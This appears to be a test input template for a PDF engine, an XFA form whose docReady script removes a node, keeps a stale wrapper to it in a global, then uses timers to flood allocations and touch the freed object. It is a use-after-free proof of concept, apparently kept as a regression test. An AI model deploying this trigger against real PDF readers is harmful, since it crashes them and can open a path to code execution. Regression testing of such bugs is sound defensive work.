{{header}}
{{include xfa_catalog_1_0.fragment}}
{{include xfa_object_2_0.fragment}}
{{include xfa_preamble_3_0.fragment}}
{{include xfa_config_4_0.fragment}}
{{object 5 0}} <<
  {{streamlen}}
>>
stream
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
  <subform layout="tb" name="my_doc">
    <pageSet id="page" relation="orderedOccurrence">
      <occur initial="1" max="1" min="1"/>
      <pageArea id="Page1" name="Page1">
        <occur max="1" min="1"/>
        <contentArea h="100mm" w="200mm" x="0.25in" y="0.25in"/>
      </pageArea>
    </pageSet>
    <subform name="S">
      <proto>
        <subform name="vchild"/>
      </proto>
    </subform>
    <event activity="docReady" ref="$host">
      <script contentType="application/x-javascript"><![CDATA[
        try {
          var ts = xfa.resolveNode("$template.my_doc.S");
          var L = ts.nodes;      // CXFA_AttachNodeList
          // Obtain the victim via list.item() which goes through
          // CFXJSE_Engine::NewNormalXFAObject.
          var v = null;
          for (var i = 0; i < L.length; ++i) {
            var c = L.item(i);
            if (c.className == "proto") { v = c; break; }
          }
          L.remove(v);
          // Stash the unsafe wrapper on the AcroForm global so it survives
          // across script turns (the v8 wrapper is rooted, the CJX_Object is not).
          __stash__ = v;
          __pump__ = "for (var j = 0; j < 30000; ++j) xfa.template.createNode('subform','p');";
          __hit__  = "try { __stash__.className; } catch(e) {}";
          for (var k = 0; k < 25; ++k) {
            app.setTimeOut(__pump__, 100 + k * 120);
            app.setTimeOut(__hit__,  150 + k * 120);
          }
        } catch (e) {
          app.alert("setup error: " + e);
        }
      ]]></script>
    </event>
  </subform>
</template>
endstream
endobj
{{include xfa_locale_6_0.fragment}}
{{include xfa_postamble_7_0.fragment}}
{{include xfa_pages_8_0.fragment}}
{{object 9 0}} <<
  /Type /Page
  /Parent 8 0 R
  /MediaBox [0 0 612 792]
>>
endobj
{{xref}}
{{trailer}}
{{startxref}}
%%EOF